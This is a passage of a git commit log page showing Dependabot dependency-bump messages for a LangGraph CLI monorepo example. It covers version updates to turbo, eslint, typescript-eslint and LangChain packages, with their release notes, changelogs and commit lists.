href="https://github.com/langchain-ai/langgraphjs/commit/8fec72ae98b117b79048403d0f7ad75d653c090b"><code>8fec72a</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/a9ff2efdf0a2b6ff0301eedfff541e125c1e6300"><code>a9ff2ef</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/a24bb550fb81271c505b9cab0295d8e599aaeb79"><code>a24bb55</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/b80076c5a7fc1b6985abc1fd9c367438ba6ca968"><code>b80076c</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/b6cfe555bfb498fe24fa85847f0fe5d1194dfa39"><code>b6cfe55</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.7.3</li> <li><code>@​langchain/langgraph-checkpoint</code><a href="https://github.com/1"><code>@​1</code></a>.0.1</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li>See full diff in <a href="https://github.com/langchain-ai/langgraphjs/commits/@langchain/langgraph@1.2.5/libs/langgraph-core">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/eslint-plugin` from 8.57.0 to 8.57.1 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/eslint-plugin</code>'s releases</a>.</em></p> <blockquote> <h2>v8.57.1</h2> <h2>8.57.1 (2026-03-16)</h2> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-optional-chain] no report for property on intersection type (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12126">#12126</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.1">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md"><code>@​typescript-eslint/eslint-plugin</code>'s changelog</a>.</em></p> <blockquote> <h2>8.57.1 (2026-03-16)</h2> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-optional-chain] no report for property on intersection type (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12126">#12126</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.1">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/c7c38aa252d7bf6708a225aebedc57686ac33dcd"><code>c7c38aa</code></a> chore(release): publish 8.57.1</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/e1146296eebbb5fa877c4145b2ba7166de9a7923"><code>e114629</code></a> fix(eslint-plugin): [prefer-optional-chain] no report for property on interse...</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.57.1/packages/eslint-plugin">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/parser` from 8.57.0 to 8.57.1 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/parser</code>'s releases</a>.</em></p> <blockquote> <h2>v8.57.1</h2> <h2>8.57.1 (2026-03-16)</h2> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-optional-chain] no report for property on intersection type (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12126">#12126</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.1">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md"><code>@​typescript-eslint/parser</code>'s changelog</a>.</em></p> <blockquote> <h2>8.57.1 (2026-03-16)</h2> <p>This was a version bump only for parser to align it with other projects, there were no code changes.</p> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.1">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/c7c38aa252d7bf6708a225aebedc57686ac33dcd"><code>c7c38aa</code></a> chore(release): publish 8.57.1</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.57.1/packages/parser">compare view</a></li> </ul> </details> <br /> Updates `eslint` from 10.0.3 to 10.1.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/eslint/eslint/releases">eslint's releases</a>.</em></p> <blockquote> <h2>v10.1.0</h2> <h2>Features</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/ff4382be349035acdb170627a2dc92828e134562"><code>ff4382b</code></a> feat: apply fix for <code>no-var</code> in <code>TSModuleBlock</code> (<a href="https://redirect.github.com/eslint/eslint/issues/20638">#20638</a>) (Tanuj Kanti)</li> <li><a href="https://github.com/eslint/eslint/commit/0916995b51528872b15ba4fedb24172cf25fcb3f"><code>0916995</code></a> feat: Implement api support for bulk-suppressions (<a href="https://redirect.github.com/eslint/eslint/issues/20565">#20565</a>) (Blake Sager)</li> </ul> <h2>Bug Fixes</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/2b8824e6be4223980e929a20025602df20d05ea2"><code>2b8824e</code></a> fix: Prevent <code>no-var</code> autofix when a variable is used before declaration (<a href="https://redirect.github.com/eslint/eslint/issues/20464">#20464</a>) (Amaresh S M)</li> <li><a href="https://github.com/eslint/eslint/commit/e58b4bff167e79afd067d1b0ee9360bec2d3393e"><code>e58b4bf</code></a> fix: update eslint (<a href="https://redirect.github.com/eslint/eslint/issues/20597">#20597</a>) (renovate[bot])</li> </ul> <h2>Documentation</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/b7b57fe9942c572ff651230f1f96cefed787ca52"><code>b7b57fe</code></a> docs: use correct JSDoc link in require-jsdoc.md (<a href="https://redirect.github.com/eslint/eslint/issues/20641">#20641</a>) (mkemna-clb)</li> <li><a href="https://github.com/eslint/eslint/commit/58e4cfc7dbf0fe40c73f09bf0ff94ad944d0ba0e"><code>58e4cfc</code></a> docs: add deprecation notice partial (<a href="https://redirect.github.com/eslint/eslint/issues/20639">#20639</a>) (Milos Djermanovic)</li> <li><a href="https://github.com/eslint/eslint/commit/7143dbf99df27c61edf1552da981794e99a0b2f2"><code>7143dbf</code></a> docs: update v9 migration guide for <code>@eslint/js</code> usage (<a href="https://redirect.github.com/eslint/eslint/issues/20540">#20540</a>) (fnx)</li> <li><a href="https://github.com/eslint/eslint/commit/035fc4fbe506e3e4524882cf50db37a4e430adf4"><code>035fc4f</code></a> docs: note that <code>globalReturn</code> applies only with <code>sourceType: &quot;script&quot;</code> (<a href="https://redirect.github.com/eslint/eslint/issues/20630">#20630</a>) (Milos Djermanovic)</li> <li><a href="https://github.com/eslint/eslint/commit/e972c88ab7474a74191ee99ac2558b00d0427a8a"><code>e972c88</code></a> docs: merge ESLint option descriptions into type definitions (<a href="https://redirect.github.com/eslint/eslint/issues/20608">#20608</a>) (Francesco Trotta)</li> <li><a href="https://github.com/eslint/eslint/commit/7f10d8440137f0cfd75f18f4746ba6a1c621b953"><code>7f10d84</code></a> docs: Update README (GitHub Actions Bot)</li> <li><a href="https://github.com/eslint/eslint/commit/aeed0078ca2f73d4744cc522102178d45b5be64e"><code>aeed007</code></a> docs: open playground link in new tab (<a href="https://redirect.github.com/eslint/eslint/issues/20602">#20602</a>) (Tanuj Kanti)</li> <li><a href="https://github.com/eslint/eslint/commit/a0d1a3772679d3d74bb860fc65b5b58678acd452"><code>a0d1a37</code></a> docs: Add AI Usage Policy (<a href="https://redirect.github.com/eslint/eslint/issues/20510">#20510</a>) (Nicholas C. Zakas)</li> </ul> <h2>Chores</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/a9f9cce82d80b540a0e3549d0e91c16df28740d8"><code>a9f9cce</code></a> chore: update dependency eslint-plugin-unicorn to ^63.0.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20584">#20584</a>) (Milos Djermanovic)</li> <li><a href="https://github.com/eslint/eslint/commit/1f42bd7876ae4192cf7f7f4faf73b4ef3d2563cb"><code>1f42bd7</code></a> chore: update <code>prettier</code> to 3.8.1 (<a href="https://redirect.github.com/eslint/eslint/issues/20651">#20651</a>) (루밀LuMir)</li> <li><a href="https://github.com/eslint/eslint/commit/c0a6f4a2b4169edeca2a81bf7b47783e39ade366"><code>c0a6f4a</code></a> chore: update dependency <code>@​eslint/json</code> to ^1.2.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20652">#20652</a>) (renovate[bot])</li> <li><a href="https://github.com/eslint/eslint/commit/cc43f795c42e5ec2f19bb43b1f6d534ef2e469f3"><code>cc43f79</code></a> chore: update dependency c8 to v11 (<a href="https://redirect.github.com/eslint/eslint/issues/20650">#20650</a>) (renovate[bot])</li> <li><a href="https://github.com/eslint/eslint/commit/2ce4635b036ff2665c7009afddf9c0fb2274dceb"><code>2ce4635</code></a> chore: update dependency <code>@​eslint/json</code> to v1 (<a href="https://redirect.github.com/eslint/eslint/issues/20649">#20649</a>) (renovate[bot])</li> <li><a href="https://github.com/eslint/eslint/commit/f0406eedcc3dc415babbbf6bbdb5db1eebfd487b"><code>f0406ee</code></a> chore: update dependency markdownlint-cli2 to ^0.21.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20646">#20646</a>) (renovate[bot])</li> <li><a href="https://github.com/eslint/eslint/commit/dbb4c9582a00bac604d5c6ac671bb7111468a846"><code>dbb4c95</code></a> chore: remove trunk (<a href="https://redirect.github.com/eslint/eslint/issues/20478">#20478</a>) (sethamus)</li> <li><a href="https://github.com/eslint/eslint/commit/c672a2a70579fddf1c6ce33dfa712d705726e1c9"><code>c672a2a</code></a> test: fix CLI test for empty output file (<a href="https://redirect.github.com/eslint/eslint/issues/20640">#20640</a>) (kuldeep kumar)</li> <li><a href="https://github.com/eslint/eslint/commit/c7ada2455680036bbfc42fcb1511ff28afe3c587"><code>c7ada24</code></a> ci: bump pnpm/action-setup from 4.3.0 to 4.4.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20636">#20636</a>) (dependabot[bot])</li> <li><a href="https://github.com/eslint/eslint/commit/07c4b8b4a9f49145e60a3448dd57853213ed4de3"><code>07c4b8b</code></a> test: fix <code>RuleTester</code> test without test runners (<a href="https://redirect.github.com/eslint/eslint/issues/20631">#20631</a>) (Francesco Trotta)</li> <li><a href="https://github.com/eslint/eslint/commit/079bba7ff17d0a99fdffe32bf991d005ba797fae"><code>079bba7</code></a> test: Add tests for <code>isValidWithUnicodeFlag</code> (<a href="https://redirect.github.com/eslint/eslint/issues/20601">#20601</a>) (Manish chaudhary)</li> <li><a href="https://github.com/eslint/eslint/commit/5885ae66216bcee9310bbf73786b7d7d5774aeaf"><code>5885ae6</code></a> ci: unpin Node.js 25.x in CI (<a href="https://redirect.github.com/eslint/eslint/issues/20615">#20615</a>) (Copilot)</li> <li><a href="https://github.com/eslint/eslint/commit/f65e5d3c0df65fdb317ad6d23f7ae113c5f4b6d7"><code>f65e5d3</code></a> chore: update pnpm/action-setup digest to b906aff (<a href="https://redirect.github.com/eslint/eslint/issues/20610">#20610</a>) (renovate[bot])</li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/eslint/eslint/commit/8351ec7aaa0f7d4753ff39bb9d6260f2ac9e1f1a"><code>8351ec7</code></a> 10.1.0</li> <li><a href="https://github.com/eslint/eslint/commit/3270bc12165d62646fd0edaab2c28809302663a1"><code>3270bc1</code></a> Build: changelog update for 10.1.0</li> <li><a href="https://github.com/eslint/eslint/commit/a9f9cce82d80b540a0e3549d0e91c16df28740d8"><code>a9f9cce</code></a> chore: update dependency eslint-plugin-unicorn to ^63.0.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20584">#20584</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/1f42bd7876ae4192cf7f7f4faf73b4ef3d2563cb"><code>1f42bd7</code></a> chore: update <code>prettier</code> to 3.8.1 (<a href="https://redirect.github.com/eslint/eslint/issues/20651">#20651</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/c0a6f4a2b4169edeca2a81bf7b47783e39ade366"><code>c0a6f4a</code></a> chore: update dependency <code>@​eslint/json</code> to ^1.2.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20652">#20652</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/cc43f795c42e5ec2f19bb43b1f6d534ef2e469f3"><code>cc43f79</code></a> chore: update dependency c8 to v11 (<a href="https://redirect.github.com/eslint/eslint/issues/20650">#20650</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/2ce4635b036ff2665c7009afddf9c0fb2274dceb"><code>2ce4635</code></a> chore: update dependency <code>@​eslint/json</code> to v1 (<a href="https://redirect.github.com/eslint/eslint/issues/20649">#20649</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/f0406eedcc3dc415babbbf6bbdb5db1eebfd487b"><code>f0406ee</code></a> chore: update dependency markdownlint-cli2 to ^0.21.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20646">#20646</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/dbb4c9582a00bac604d5c6ac671bb7111468a846"><code>dbb4c95</code></a> chore: remove trunk (<a href="https://redirect.github.com/eslint/eslint/issues/20478">#20478</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/ff4382be349035acdb170627a2dc92828e134562"><code>ff4382b</code></a> feat: apply fix for <code>no-var</code> in <code>TSModuleBlock</code> (<a href="https://redirect.github.com/eslint/eslint/issues/20638">#20638</a>)</li> <li>Additional commits viewable in <a href="https://github.com/eslint/eslint/compare/v10.0.3...v10.1.0">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-03-23 09:40:04 -07:00
3 people	351768526e	chore(deps): bump the all-dependencies group in /libs/cli/js-monorepo-example with 6 updates (#7246) ... Bumps the all-dependencies group in /libs/cli/js-monorepo-example with 6 updates: | Package | From | To | | --- | --- | --- | | [turbo](https://github.com/vercel/turborepo) | `2.8.17` | `2.8.20` | | [eslint](https://github.com/eslint/eslint) | `10.0.3` | `10.1.0` | | [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) | `8.57.0` | `8.57.1` | | [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.57.0` | `8.57.1` | | [@langchain/core](https://github.com/langchain-ai/langchainjs) | `1.1.32` | `1.1.35` | | [@langchain/langgraph](https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core) | `1.2.2` | `1.2.5` | Updates `turbo` from 2.8.17 to 2.8.20 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/vercel/turborepo/releases">turbo's releases</a>.</em></p> <blockquote> <h2>Turborepo v2.8.20</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>Changelog</h3> <ul> <li>fix: Prevent <code>stdin</code> from being dropped for persistent tasks in stream mode by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12394">vercel/turborepo#12394</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.8.19...v2.8.20">https://github.com/vercel/turborepo/compare/v2.8.19...v2.8.20</a></p> <h2>Turborepo v2.8.20-canary.1</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>Examples</h3> <ul> <li>chore: Upgrade Next.js to 16.2.0 in examples and apps by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12389">vercel/turborepo#12389</a></li> </ul> <h3>Changelog</h3> <ul> <li>fix: Detect scoped <code>@turbo/{platform}</code> packages in local binary resolution by <a href="https://github.com/EmojiPati"><code>@​EmojiPati</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12386">vercel/turborepo#12386</a></li> <li>fix: Support legacy unscoped binary package names in Node.js shim by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12391">vercel/turborepo#12391</a></li> <li>fix: Prevent <code>stdin</code> from being dropped for persistent tasks in stream mode by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12394">vercel/turborepo#12394</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/EmojiPati"><code>@​EmojiPati</code></a> made their first contribution in <a href="https://redirect.github.com/vercel/turborepo/pull/12386">vercel/turborepo#12386</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.8.19-canary.3...v2.8.20-canary.1">https://github.com/vercel/turborepo/compare/v2.8.19-canary.3...v2.8.20-canary.1</a></p> <h2>Turborepo v2.8.19</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>turbo-ignore</h3> <ul> <li>feat: Deprecate <code>turbo-ignore</code> in favor of <code>turbo query affected</code> by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12382">vercel/turborepo#12382</a></li> <li>fix: Tailored <code>turbo-ignore</code> deprecation notice for Vercel users by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12385">vercel/turborepo#12385</a></li> </ul> <h3>Examples</h3> <ul> <li>chore: Upgrade Next.js to 16.2.0 in examples and apps by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12389">vercel/turborepo#12389</a></li> </ul> <h3>Changelog</h3> <ul> <li>fix: Detect scoped <code>@turbo/{platform}</code> packages in local binary resolution by <a href="https://github.com/EmojiPati"><code>@​EmojiPati</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12386">vercel/turborepo#12386</a></li> <li>fix: Support legacy unscoped binary package names in Node.js shim by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12391">vercel/turborepo#12391</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/EmojiPati"><code>@​EmojiPati</code></a> made their first contribution in <a href="https://redirect.github.com/vercel/turborepo/pull/12386">vercel/turborepo#12386</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.8.18...v2.8.19">https://github.com/vercel/turborepo/compare/v2.8.18...v2.8.19</a></p> <h2>Turborepo v2.8.19-canary.3</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>turbo-ignore</h3> <ul> <li>fix: Tailored <code>turbo-ignore</code> deprecation notice for Vercel users by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12385">vercel/turborepo#12385</a></li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/vercel/turborepo/commit/b61c5324310ccd878e0531e18be15015aa08714f"><code>b61c532</code></a> publish 2.8.20 to registry</li> <li><a href="https://github.com/vercel/turborepo/commit/8f0e7190c53dcbdad12a47bc022b02fc3081b484"><code>8f0e719</code></a> release(turborepo): 2.8.20-canary.1 (<a href="https://redirect.github.com/vercel/turborepo/issues/12395">#12395</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/106fa3e316c24b5810767e393b01c52b16f8a335"><code>106fa3e</code></a> fix: Prevent <code>stdin</code> from being dropped for persistent tasks in stream mode (...</li> <li><a href="https://github.com/vercel/turborepo/commit/66f2c36a9663d54f530db9e28955a341c2e6eb02"><code>66f2c36</code></a> release(turborepo): 2.8.19 (<a href="https://redirect.github.com/vercel/turborepo/issues/12392">#12392</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/7da779a74cdfb033e40ce136a69eefb19bacb12a"><code>7da779a</code></a> fix: Support legacy unscoped binary package names in Node shim (<a href="https://redirect.github.com/vercel/turborepo/issues/12391">#12391</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/9d977f14b33a0bddaf83609091775ee959f1aef7"><code>9d977f1</code></a> fix: Detect scoped <code>@turbo/{platform}</code> packages in local binary resolution (#...</li> <li><a href="https://github.com/vercel/turborepo/commit/2ff8fc9365562ab130fa215a3c6027ed001c1219"><code>2ff8fc9</code></a> chore: Upgrade Next.js to 16.2.0 in examples and apps (<a href="https://redirect.github.com/vercel/turborepo/issues/12389">#12389</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/ee90d8eb03143e9ff024484a9e3a4c2585b5d94a"><code>ee90d8e</code></a> release(turborepo): 2.8.19-canary.3 (<a href="https://redirect.github.com/vercel/turborepo/issues/12387">#12387</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/4b2eae6eedaac65dd6dfe0ac3b269725dc575cdb"><code>4b2eae6</code></a> fix: Tailored <code>turbo-ignore</code> deprecation notice for Vercel users (<a href="https://redirect.github.com/vercel/turborepo/issues/12385">#12385</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/1885f0865305abffb5672e2da973c9c60e26d097"><code>1885f08</code></a> release(turborepo): 2.8.19-canary.2 (<a href="https://redirect.github.com/vercel/turborepo/issues/12384">#12384</a>)</li> <li>Additional commits viewable in <a href="https://github.com/vercel/turborepo/compare/v2.8.17...v2.8.20">compare view</a></li> </ul> </details> <br /> Updates `eslint` from 10.0.3 to 10.1.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/eslint/eslint/releases">eslint's releases</a>.</em></p> <blockquote> <h2>v10.1.0</h2> <h2>Features</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/ff4382be349035acdb170627a2dc92828e134562"><code>ff4382b</code></a> feat: apply fix for <code>no-var</code> in <code>TSModuleBlock</code> (<a href="https://redirect.github.com/eslint/eslint/issues/20638">#20638</a>) (Tanuj Kanti)</li> <li><a href="https://github.com/eslint/eslint/commit/0916995b51528872b15ba4fedb24172cf25fcb3f"><code>0916995</code></a> feat: Implement api support for bulk-suppressions (<a href="https://redirect.github.com/eslint/eslint/issues/20565">#20565</a>) (Blake Sager)</li> </ul> <h2>Bug Fixes</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/2b8824e6be4223980e929a20025602df20d05ea2"><code>2b8824e</code></a> fix: Prevent <code>no-var</code> autofix when a variable is used before declaration (<a href="https://redirect.github.com/eslint/eslint/issues/20464">#20464</a>) (Amaresh S M)</li> <li><a href="https://github.com/eslint/eslint/commit/e58b4bff167e79afd067d1b0ee9360bec2d3393e"><code>e58b4bf</code></a> fix: update eslint (<a href="https://redirect.github.com/eslint/eslint/issues/20597">#20597</a>) (renovate[bot])</li> </ul> <h2>Documentation</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/b7b57fe9942c572ff651230f1f96cefed787ca52"><code>b7b57fe</code></a> docs: use correct JSDoc link in require-jsdoc.md (<a href="https://redirect.github.com/eslint/eslint/issues/20641">#20641</a>) (mkemna-clb)</li> <li><a href="https://github.com/eslint/eslint/commit/58e4cfc7dbf0fe40c73f09bf0ff94ad944d0ba0e"><code>58e4cfc</code></a> docs: add deprecation notice partial (<a href="https://redirect.github.com/eslint/eslint/issues/20639">#20639</a>) (Milos Djermanovic)</li> <li><a href="https://github.com/eslint/eslint/commit/7143dbf99df27c61edf1552da981794e99a0b2f2"><code>7143dbf</code></a> docs: update v9 migration guide for <code>@eslint/js</code> usage (<a href="https://redirect.github.com/eslint/eslint/issues/20540">#20540</a>) (fnx)</li> <li><a href="https://github.com/eslint/eslint/commit/035fc4fbe506e3e4524882cf50db37a4e430adf4"><code>035fc4f</code></a> docs: note that <code>globalReturn</code> applies only with <code>sourceType: &quot;script&quot;</code> (<a href="https://redirect.github.com/eslint/eslint/issues/20630">#20630</a>) (Milos Djermanovic)</li> <li><a href="https://github.com/eslint/eslint/commit/e972c88ab7474a74191ee99ac2558b00d0427a8a"><code>e972c88</code></a> docs: merge ESLint option descriptions into type definitions (<a href="https://redirect.github.com/eslint/eslint/issues/20608">#20608</a>) (Francesco Trotta)</li> <li><a href="https://github.com/eslint/eslint/commit/7f10d8440137f0cfd75f18f4746ba6a1c621b953"><code>7f10d84</code></a> docs: Update README (GitHub Actions Bot)</li> <li><a href="https://github.com/eslint/eslint/commit/aeed0078ca2f73d4744cc522102178d45b5be64e"><code>aeed007</code></a> docs: open playground link in new tab (<a href="https://redirect.github.com/eslint/eslint/issues/20602">#20602</a>) (Tanuj Kanti)</li> <li><a href="https://github.com/eslint/eslint/commit/a0d1a3772679d3d74bb860fc65b5b58678acd452"><code>a0d1a37</code></a> docs: Add AI Usage Policy (<a href="https://redirect.github.com/eslint/eslint/issues/20510">#20510</a>) (Nicholas C. Zakas)</li> </ul> <h2>Chores</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/a9f9cce82d80b540a0e3549d0e91c16df28740d8"><code>a9f9cce</code></a> chore: update dependency eslint-plugin-unicorn to ^63.0.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20584">#20584</a>) (Milos Djermanovic)</li> <li><a href="https://github.com/eslint/eslint/commit/1f42bd7876ae4192cf7f7f4faf73b4ef3d2563cb"><code>1f42bd7</code></a> chore: update <code>prettier</code> to 3.8.1 (<a href="https://redirect.github.com/eslint/eslint/issues/20651">#20651</a>) (루밀LuMir)</li> <li><a href="https://github.com/eslint/eslint/commit/c0a6f4a2b4169edeca2a81bf7b47783e39ade366"><code>c0a6f4a</code></a> chore: update dependency <code>@​eslint/json</code> to ^1.2.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20652">#20652</a>) (renovate[bot])</li> <li><a href="https://github.com/eslint/eslint/commit/cc43f795c42e5ec2f19bb43b1f6d534ef2e469f3"><code>cc43f79</code></a> chore: update dependency c8 to v11 (<a href="https://redirect.github.com/eslint/eslint/issues/20650">#20650</a>) (renovate[bot])</li> <li><a href="https://github.com/eslint/eslint/commit/2ce4635b036ff2665c7009afddf9c0fb2274dceb"><code>2ce4635</code></a> chore: update dependency <code>@​eslint/json</code> to v1 (<a href="https://redirect.github.com/eslint/eslint/issues/20649">#20649</a>) (renovate[bot])</li> <li><a href="https://github.com/eslint/eslint/commit/f0406eedcc3dc415babbbf6bbdb5db1eebfd487b"><code>f0406ee</code></a> chore: update dependency markdownlint-cli2 to ^0.21.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20646">#20646</a>) (renovate[bot])</li> <li><a href="https://github.com/eslint/eslint/commit/dbb4c9582a00bac604d5c6ac671bb7111468a846"><code>dbb4c95</code></a> chore: remove trunk (<a href="https://redirect.github.com/eslint/eslint/issues/20478">#20478</a>) (sethamus)</li> <li><a href="https://github.com/eslint/eslint/commit/c672a2a70579fddf1c6ce33dfa712d705726e1c9"><code>c672a2a</code></a> test: fix CLI test for empty output file (<a href="https://redirect.github.com/eslint/eslint/issues/20640">#20640</a>) (kuldeep kumar)</li> <li><a href="https://github.com/eslint/eslint/commit/c7ada2455680036bbfc42fcb1511ff28afe3c587"><code>c7ada24</code></a> ci: bump pnpm/action-setup from 4.3.0 to 4.4.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20636">#20636</a>) (dependabot[bot])</li> <li><a 